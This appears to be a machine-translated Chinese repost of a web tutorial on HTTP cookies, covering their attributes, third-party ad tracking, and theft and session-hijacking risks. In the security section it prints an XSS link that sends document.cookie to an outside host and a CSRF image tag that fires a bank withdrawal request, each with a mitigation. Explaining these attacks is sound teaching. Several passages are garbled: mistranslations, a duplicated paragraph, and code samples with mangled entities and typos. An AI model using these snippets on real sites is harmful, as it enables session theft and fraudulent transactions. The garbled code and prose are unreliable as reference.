cookies什么意思(cookies九人组合)

前言网络早期最大的问题之一就是如何管理状态。简而言之,服务器无法知道两个请求是否来自同一个浏览器。当时最简单的方法就是在请求的时候在页面中插入一些参数,在下一次

前言网络早期最大的问题之一就是如何管理状态。简而言之,服务器无法知道两个请求是否来自同一个浏览器。当时最简单的方法就是在请求的时候在页面中插入一些参数,在下一次请求中返回参数。这需要使用包含参数的隐藏表单,或者将其作为URL参数的一部分传递。这两种解决方案都是手动操作的,容易出错。

当时的网景公司员工Lou Montulli在1994年将“cookies”的概念应用到网络通信中,以解决用户网购的购物车历史。目前所有浏览器都支持cookies。

cookie是什么

Cookie翻译过来就是“饼干、甜点”的意思。Cookies在网络应用中无处不在。当我们浏览以前访问过的网站时,网页可能会显示:你好,王三少,这会让我们觉得很亲切,就像吃了一块甜甜的饼干。

由于http是一种无状态协议,一旦客户端和服务器之间的数据交换完成,它将断开连接,再次请求,然后重新连接。这说明服务器没有办法只从网络连接上知道用户的身份。我该怎么办?然后,每次新用户提出请求时,用ID卡(唯一)发出请求。下次访问,一定要带身份证,这样服务器就知道谁访问了,问了,针对不同的用户做出不同的响应。这就是曲奇的原理。

实际上,cookie是一个非常小的文本文件,由浏览器存储在用户的机器上。Cookie是没有可执行代码纯文本。存储一些服务器需要的信息,每次请求站点都会发送相应的cookie,可以用来识别用户的身份信息等功能。

cookies什么意思(cookies九人组合)

如图,当用户第一次访问服务器时,服务器会返回一个唯一的识别码;Id=23451,这样服务器就可以用这个代码来跟踪记录用户的信息(购物历史,地址信息等。).

Cookies可以包含任何信息,不仅仅是id。客户端将在服务器返回的Set-cookie头中记录Cookie内容。并将cookie存储在浏览器的Cookie数据库中。当用户访问同一个站点时,浏览器会拾取该站点当时颁发的id=XXX的ID卡(cookie)并在cookie请求头中发送。

cookie的类型

根据过期时间可以分为两类:会话cookie和持久cookie。会话cookie是一个临时Cookie。当用户退出浏览器时,会话cookie将被删除,而永久cookie将在硬盘中存储更长时间。当关闭浏览器并重新启动计算机时,它仍然存在。通常,持久cookie会维护定期访问服务器的用户的配置文件或登录信息。

持久性cookie设置特定的过期时间(Expires)或有效期(Max-Age)。

set-Cookie:id = a3 fwa;expires = 2019年10月21日星期三07:28:00 GMT;

cookie的属性

cookie的域

生成Cookie的服务器可以将域属性添加到set-Cookie响应头中,以控制哪些站点可以看到该Cookie,如下所示:

Set-Cookie: name= "王";domain="m.zhuanzhuan.58.com "

如果用户访问,将发送Cookie:name = " Wang ";如果用户访问www.aaa.com(不是zhuanzhuan.58.com),则不会发送cookie。

cookie的路径

Path属性可以为特定于服务器的文档指定Cookie。由此属性设置的url和带有此前缀的url路径是有效的。

例如:m.zhuanzhuan.58.com和m.zhaunzhuan.58.com/user/的网址。在m.zhuanzhuan.58.com设置cookie

set-cookie:id = " 123432 ";domain = " m . zhuan zhuan . 58 . com ";

M.zhaunzhuan.58.com/user/饼干:

Set-cookie:user="wang ",domain = " m . zhuan zhuan . 58 . com ";路径=/用户/

但是通过访问其他路径,m.zhuanzhuan.58.com/other/将获得

cookie: id="123432 "

如果你去m.zhuanzhuan.58.com/user/,,你会得到

cookie: id="123432 "

cookie: user= "王"

安全的

设置了安全属性后,只有在https协议被加密时,cookie才会被发送到服务器。但这不是最安全的。由于其固有的不安全性,敏感信息不应通过cookie传输。

set-Cookie:id = a3 fwa;expires = 2015年10月21日星期三07:28:00 GMT;安全;

Chrome 52和firefox 52一开始是不安全的(HTTP),无法使用secure:

操作Cookie

Cookie的值可以通过docuemnt.cookie来设置和获取

document.cookie = " user = wang

console . log(document . cookie);

禁止javascript操作cookie(为避免跨域脚本(xss)攻击,标有HttpOnly的cookie不能通过javascript的document.cookie访问。)

set-Cookie:id = a3 fwa;expires = 2017年10月21日星期三07:28:00 GMT;安全;HttpOnly

第三方cookie

通常cookie的域与浏览器地址的域相匹配,这被称为第一方cookie。则第三方cookie意味着cookie的域与地址栏中的域不匹配。这种cookie通常用于第三方广告网站。为了跟踪用户的浏览历史,并根据收集到的用户浏览习惯,向用户推送相关广告。

cookies什么意思(cookies九人组合)

如上图(a)所示:用户访问index.html 1号服务器的一个页面,该服务器与第三方广告网站合作。该页面还有一张ad1.jpg的广告图片,域名为www.advertisement.com。当请求这张ad1.jpg的照片时,www.advertisement.com的服务器会为用户设置一个cookie。

Set-Cookie: user= "王";like = " adomain = " advertisement.com "

记录用户的浏览历史,并指定一个用户来代表用户的身份。

图(b):用户访问服务器2的index.html页面。这个页面也与同一个广告客户合作。该页面还包含一张ad2.jpg的广告图片,域名为www.advertisement.com。当请求ad2.jpg的这张照片时,浏览器会向www.advertisement.com发送一个cookie。

Cookie: user= "王";like = " a

www.advertisement.com浏览器发送的cookie识别用户的身份,同时将用户在该页面的浏览数据设置为cookie。

set-Cookie:buy = " b ";domain = " advertisement.com "

图(c):无独有偶,用户访问了3号服务器的一个index.html页面,3号服务器也与那个广告客户合作,这个页面也包含了www.advertisement.com域名下的广告地图ad3.jpg。当请求这个ad3.jpg图像时,浏览器将发送一个cookie给www.advertisement.com。

Cookie: user= "王";like = " abuy="b "

这样广告公司就可以根据用户的浏览习惯向用户推送合适的广告。

安全的

大多数网站使用cookie作为用户会话的唯一标识,因为其他方法都有局限性和漏洞。如果网站使用cookie作为会话标识符,攻击者可以通过窃取用户的一组cookie来模拟用户的请求。从服务器的角度来看,它无法区分用户和攻击者,因为用户和攻击者的认证是一样的。以下是一些cookie窃取和会话劫持的示例:

网络窃听

网络上的流量可以被网络上任何一台电脑拦截,尤其是未加密的开放WIFI。该流量包括在普通的未加密HTTP请求上发送Cookie。在不加密的情况下,攻击者可以读取网络上其他用户的信息,包括HTTP Cookie的全部内容,从而实施中间攻击。比如拦截cookie执行恶意任务(银行转账等。)作为用户。

解决方法:服务器可以设置cookies的安全属性,这样cookies只能通过https发送。

DNS缓存中毒

如果攻击者可以使DNS缓存中毒,那么攻击者就可以访问用户的Cookie了,例如:攻击者使用DNS中毒来创建一个虚拟的NDS服务h123456.www.demo.com指向攻击者服务器的ip地址。然后攻击者可以从服务器 h123456.www.demo.com/img_01.png 发布图片。用户访问这个图片,由于 www.demo.com和h123456.www.demo.com是同一个子域,所以浏览器会把用户的与www.demo.com相关的cookie都会发送到h123456.www.demo.com这个服务器上,这样攻击者就会拿到用户的cookie搞事情。如果攻击者可以毒害DNS缓存,攻击者就可以访问用户的Cookie。例如,攻击者使用DNS中毒来创建虚拟NDS服务。h123456.www.demo.com指向攻击者服务器的ip地址。然后,攻击者可以在用户访问此图像时从服务器h123456.www.demo.com/img_01.png.发布图像,因为www.demo.com和h123456.www.demo.com在同一个子域中,浏览器会将所有与www.demo.com相关的cookie发送到h123456.www.demo.com的服务器,这样攻击者就会获得用户的cookie并做一些事情。

一般情况下不会出现这种情况,通常是网络提供商的失误。

跨站点脚本XSS

Cookie可以通过使用跨站点脚本技术被窃取。当网站允许javascript操作cookie时,攻击者会发布恶意代码攻击用户的会话,同时可以获取用户的cookie信息。

示例:

& lta href = " # " onclick = ` window . location = http://ABC . com?cookie = $ { docuemnt.cookie } ` & gt领红包

当用户点击这个链接时,浏览器就会执行onclick中的代码,这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器上。攻击者还可以利用cookie做一些事情。

解决方法:可以通过cookie的HttpOnly属性设置HttpOnly属性,javascript代码将无法操作cookie。

跨站请求伪造CSRF

例如,三少可能正在浏览其他用户小明发布消息的聊天论坛。假设小明做了一个HTML图片元素,引用了山绍银行的网站,例如,

<img src = "http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >& ltimg src = " http://www . bank . com/withdraw?用户=三少& amp金额= 999999 & ampfor =晓明" & gt

如果三少的银行将其认证信息保存在一个cookie中,并且该cookie没有过期,(当然,没有其他东西可以验证身份),那么三少的浏览器将使用他的cookie提交取款单,从而在没有三少批准的情况下授权交易。

解决方法:增加其他信息的验证(手机验证码,或者其他的盾)。

作者:大转身FE来源:http://www.cnblogs.com/zhuanzhuanfe/p/8010854.html

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。

作者:美站资讯,如若转载,请注明出处:https://www.meizw.com/n/43604.html

发表回复

登录后才能评论